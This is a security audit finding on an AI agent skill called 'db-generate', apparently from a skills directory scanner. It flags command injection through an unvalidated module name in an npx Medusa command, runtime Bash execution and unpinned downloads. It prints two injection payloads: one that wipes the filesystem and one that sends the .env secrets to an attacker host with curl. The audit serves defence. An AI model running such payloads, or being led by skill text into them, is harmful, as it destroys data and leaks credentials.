The Agent Skills Directory

PROMPT_INJECTION (HIGH): The skill allows for direct command injection by instructing the agent to place unvalidated user input (<module-name>) into a shell command template (npx medusa db:generate <module-name>). An attacker could provide a payload such as module; rm -rf / or module; curl http://attacker.com/$(cat .env) to execute arbitrary code or exfiltrate secrets.- COMMAND_EXECUTION (HIGH): The skill uses the Bash tool to run commands constructed at runtime using external data. This pattern is inherently dangerous without strict input filtering or the use of safe execution APIs that avoid shell interpolation.- EXTERNAL_DOWNLOADS (LOW): The skill relies on npx to execute the Medusa CLI. This may trigger downloads from the public npm registry. While Medusa is a reputable framework, the lack of version pinning or integrity checks for the environment is a minor risk factor.

db-generate